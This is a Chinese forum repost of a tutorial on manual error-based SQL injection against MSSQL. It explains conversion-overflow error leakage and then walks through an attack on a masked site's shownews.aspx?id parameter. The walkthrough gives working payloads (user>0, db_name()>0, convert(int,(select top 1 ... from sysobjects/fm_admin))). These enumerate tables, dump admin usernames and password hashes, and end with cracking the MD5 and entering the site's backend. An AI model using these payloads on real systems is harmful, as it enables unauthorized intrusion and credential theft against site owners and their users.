搜索

[20777] 2017-06-10_MSSQL显错模式的手工注入实现原理思考和实战

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-18
2017-06-10_MSSQL显错模式的手工注入实现原理思考和实战 M S S Q L 显 错 模 式 的 手 工 注 入 实 现 原 理 思 考 和 实 战 L e m o n S e c   2 0 1 7 - 0 6 - 1 0 说 到 M s s q l 手 工 注 入 ， 本 人 喜 欢 显 错 模 式 的 ， 为 啥 呢 ， 因 为 你 只 要 构 造 一 个 语 句 ， 不 用 你 一 个 一 个 特 意 的 去 猜 ， 程 序 会 自 动 告 诉 你 我 们 要 的 信 息 ， 省 时 省 力 ， 不 像 不 显 错 模 式 的 盲 注 ， 可 以 让 你 猜 上 个 半 天 。 进 入 正 题 ， 下 面 来 说 说 我 对 显 错 模 式 原 理 的 思 考 。         显 错 模 式 ， 起 初 也 是 为 了 方 便 程 序 员 修 改 代 码 ， 但 是 ， 这 正 好 被 我 们 利 用 了 ， 我 们 故 意 让 程 序 出 错 来 爆 出 我 们 要 的 敏 感 信 息 。         上 次 我 说 到 过 h a v i n g   1 = 1   和 g r o u p   b y 的 显 错 模 式 是 通 过 语 法 错 误 来 达 到 我 们 的 目 的 ， 这 次 我 说 的 出 错 是 数 据 转 换 出 错 ， 就 是 通 过 数 据 转 换 让 数 据 发 生 溢 出 来 完 成 我 们 的 动 作 。         我 们 应 该 都 听 说 数 据 类 型 ， 比 如 i n t ， c h a r ， 等 等 。 。 。 当 我 们 定 义 好 一 个 数 据 时 ， 也 就 定 义 好 了 一 个 数 据 的 长 度 ， 比 如 ， i n t   型 是 4 个 字 节 的 长 度 ， 如 果 一 个 数 据 超 过 了 4 个 字 节 的 长 度 的 话 ， 该 数 据 就 会 发 生 溢 出 而 失 去 准 确 性 ， 从 而 编 译 软 件 会 显 示 出 错 信 息 。         在 数 据 转 换 时 有 个 规 则 ， 就 是 短 的 可 以 转 换 成 长 的 ， 但 是 长 的 不 能 转 换 成 短 的 ， 什 么 意 思 呢 ， 就 是 比 如 数 据 库 中 有 整 型 数 据 t i n y i n t ( 一 个 字 节 长 度 ) 、 s m a l l i n t ( 两 个 字 节 长 度 ) 、 i n t ( 四 个 字 节 长 度 ) ， t i n y i n t 可 以 向 上 转 化 成 s m a l l i n t 、 i n t 而 不 会 出 错 ， 但 是 不 能 反 向 转 化 把 i n t 转 化 为 s m a l l i n t 和 t i n y i n t ， 否 则 会 发 生 数 据 溢 出 。 为 啥 呢 ， 这 个 应 该 很 容 易 理 解 ， 一 个 数 据 本 来 是 4 个 字 节 长 度 的 ， 转 换 成 2 个 字 节 长 度 的 数 据 类 型 的 话 ， 这 个 2 个 字 节 的 空 间 就 装 不 下 了 ， 数 据 就 丢 失 了 ， 同 理 ， 反 过 来 就 可 以 了 ， 2 个 字 节 的 数 据 可 以 换 到 4 个 字 节 的 空 间 里 ， 数 据 是 不 会 丢 失 出 错 的 。 我 在 使 用 这 个 方 法 时 用 到 下 面 两 个 函 数 数 据 转 换 函 数 c o n v e r t ( 数 据 类 型 , 表 达 式 ( 就 是 要 转 换 的 对 象 ) ) c a s t ( 表 达 式   a s   数 据 类 型 ) 在 注 入 时 我 们 要 用 到 的 语 句 ： 因 为 光 是 用 g r o u p   b y   和 h a v i n g   不 能 完 成 我 们 的 检 测 过 程 ， 所 以 我 们 要 配 合 其 他 系 统 函 数 的 查 表 功 能 ， 因 为 上 面 必 须 要 知 道 表 名 才 能 利 用 第 一 种 函 数 s e l e c t   n a m e   f r o m   s y s o b j e c t s   w h e r e   x t y p e = ' u '     通 过 这 个 来 爆 第 一 个 表 s e l e c t   n a m e   f r o m   s y s o b j e c t s   w h e r e   x t y p e = ' u '   a n d   n a m e   n o t   i n ( ' 爆 出 来 的 表 1 ' ， ' 爆 出 来 的 表 2 ' . . . ) 一 直 爆 下 去 ， 直 到 找 到 我 们 所 需 要 的 表 位 置 第 二 种 函 数 s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ n a m e   n o t   i n   ( ' 爆 出 来 的 表 1 ' ， ' 爆 出 来 的 表 2 ' . . . ) 。 实 战 练 习 目 标   h t t p : / / w w w . x x x . c o m / s h o w n e w s . a s p x ? i d = 3 首 先 拿 个 到 一 个 注 入 点 ， 我 们 要 判 断 是 什 么 类 型 的 数 据 库 m s s q l 还 是 a c c e s s 或 者 其 他 。 一 、 我 们 提 交 h t t p : / / w w w . x x x . c o m / s h o w n e w s . a s p x ? i d = 3   a n d   u s e r > 0 我 们 得 到 用 户 名 是 ： J x b _ O j c _ Z j _ C n 二 、 我 们 提 交 h t t p : / / w w w . x x x . c o m / s h o w n e w s . a s p x ? i d = 3   a n d   d b _ n a m e ( ) > 0 得 到 数 据 库 也 是 ： J x b _ O j c _ Z j _ C n
三 、 继 续 提 交 h t t p : / / w w w . x x x . c o m / s h o w n e w s . a s p x ? i d = 3   a n d   1 = c o n v e r t ( i n t , ( s e l e c t   t o p   1   n a m e   f r o m   s y s o b j e c t s   w h e r e   x t y p e = ’ u ’   a n d   s t a t u s > 0 ) ) 根 据 返 回 的 结 果 ， 应 该 不 是 我 们 要 的 表 四 、 接 着 提 交 ( 这 中 间 省 了 好 多 步 相 同 操 作 ， 直 到 发 现 很 有 可 能 存 放 用 户 名 的 表 ) h t t p : / / w w w . x x x . c o m / s h o w n e w s . a s p x ? i d = 3   a n d   1 = c o n v e r t ( i n t , ( s e l e c t   t o p   1   n a m e   f r o m   s y s o b j e c t s   w h e r e   x t y p e = ’ u ’   a n d   s t a t u s > 0   a n d   n a m e   n o t   i n ( ' F M _ P a g e _ C l a s s ’ ,   ' D 9 9 _ T m p ' ,   ' D 9 9 _ C M D ' ) ) ) 哈 哈 ， 之 前 有 人 用 啊 D 检 测 过 。 。 。 五 、 确 定 了 表 明 之 后 ， 我 们 来 利 用 h a v i n g   1 = 1   来 爆 出 表 里 的 列 明 提 交   h t t p : / / w w w . x x x . c o m / s h o w n e w s . a s p x ? i d = 3   s e l e c t   *   f r o m   F M _ a d m i n   h a v i n g   1 = 1 爆 出 了 所 有 的 列 名 ， 哈 哈 ， 不 过 一 般 情 况 下 是 只 爆 出 一 个 列 ， 那 就 要 用 到 g r o u p   b y 了 。
六 、 整 理 下 我 们 手 上 的 资 料 ， 我 们 得 到 了 表 和 列 ， 那 我 们 就 要 开 始 爆 它 字 段 的 内 容 了 提 交 :   h t t p : / / w w w . x x x . c o m / s h o w n e w s . a s p x ? i d = 3   a n d   1 = c o n v e r t ( i n t , ( s e l e c t   t o p   1   a d m i n n a m e   f r o m   f m _ a d m i n ) ) 爆 出 了 用 户 名 ： a d m i n 接 着 提 交 :   h t t p : / / w w w . x x x . c o m / s h o w n e w s . a s p x ? i d = 3   a n d   1 = c o n v e r t ( i n t , ( s e l e c t   t o p   1   p a s s w o r d   f r o m   f m _ a d m i n ) ) 爆 出 了 密 码 ： B D 2 C 2 * * * * * * * * * * B F 2 F 4 2 8 4 B F D A 1 当 然 ， 还 有 其 他 密 码 ， 我 们 可 以 加 一 个 限 制 条 件 来 爆 出 其 他 用 户 名 和 密 码 , 分 别 提 交 ：   h t t p : / / w w w . x x x . c o m / s h o w n e w s . a s p x ? i d = 3   a n d   1 = c o n v e r t ( i n t , ( s e l e c t   t o p   1   a d m i n n a m e   f r o m   f m _ a d m i n   w h e r e   u s e r n a m e   n o t   i n   ( ‘ a d m i n ’ ) ) ) h t t p : / / w w w . x x x . c o m / s h o w n e w s . a s p x ? i d = 3   a n d   1 = c o n v e r t ( i n t , ( s e l e c t   t o p   1   p a s s w o r d   f r o m   f m _ a d m i n   w h e r e   a d m i n n a m e   n o t   i n   ( ‘ a d m i n ’ ) ) )
当 然 ， 这 个 w h e r e 的 限 制 条 件 可 以 自 己 变 通 下 加 ， 这 个 就 看 大 家 怎 么 想 了 ， 哈 。 接 下 来 其 他 的 用 户 名 和 密 码 我 就 不 爆 了 ， 还 有 很 多 个 用 户 名 和 密 码 ， 方 法 同 上 ， 重 复 操 作 。 七 、 拿 用 户 名 和 密 码 进 后 台 拿 着 爆 出 来 的 m d 5 加 密 的 密 码 去 破 解 下 ， 运 气 好 ， 第 一 个 密 码 就 解 了 然 后 就 是 拿 密 码 进 后 台 了   查 看 更 多 文 章 ， 关 注 下 方 二 维 码
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理